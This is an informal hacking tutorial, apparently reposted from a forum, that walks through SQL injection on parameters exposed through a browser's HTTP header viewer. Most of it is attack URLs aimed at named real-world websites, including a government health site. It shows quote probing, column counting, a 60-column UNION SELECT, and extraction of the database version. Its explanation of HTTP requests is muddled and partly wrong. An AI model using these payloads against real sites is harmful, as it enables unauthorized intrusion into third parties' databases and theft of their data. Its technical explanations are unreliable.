sup. this tut will focus on injection via headers. up to now,we knew 3 methods to inject. GET - via url. for example- http://evt-me.com/newsDetail.php?id=8 POST - via box. for example- http://www.health.gov.mv/ (in the search) now we gonna learn via HEADER . lets start. if we have this site http://www.teletec.com.pk/products.php (thanks to Rohan_x ) and we wanna inject it,we are looking for some parameter to inject in. (something=somthing [id=1 for example]) no parameter. lets try to add parameter by select stuff. still no parameter. or yes? lets open 'live http header'. you see the hidden parameters? the url in the GET is the refereer,that why we cant see it un the url. lets edit the url and start injecting. click the url in the LHH,and type repley.
Code:
http://www.teletec.com.pk/include/products.php?rw=20&sb=id&pr=price>=1000 and price<=3000&st=0&
as you can see,we got a lot of parameters,we have to inject in the right one. rw=20 : after limit, not good . sb=id : after order by, not good . pr=price.... : after and, good .
Code: www.2cto.com
http://www.teletec.com.pk/include/products.php?rw=20&sb=id&pr=price<=1000 and price>=3000'&st=0&
our injection point is after '3000'. notice we can see the full query,lets count columns.
Code:
and (SELECT * FROM products)=(select 1)
if you dont know what i did,read my tut http://www.hackforums.net/showthread.php?tid=2125898 60 columns. so
Code:
http://www.teletec.com.pk/include/products.php?rw=20&sb=id&pr=price>=1000 and price<=-3000 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60 &st=0&
column 4 vuln. so
Code:
http://www.teletec.com.pk/include/products.php?rw=20&sb=id&pr=price>=1000 and price<=-3000 union select 1,2,3,@@version,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60 &st=0&
and why is this happening? while we click on some url in our browser,this is the request
Code:
[the kind of the request] [refereer] [version of http] [the headers] [the content (cookie,host etc.)]
our inject is in the headers. 摘自 http://hi.baidu.com/evilrapper/blog/item/66025dddcc7c5dcf76c638a2. html查看更多关于Headers SQL Injection,injection via Headers w/ Pic的详细内容...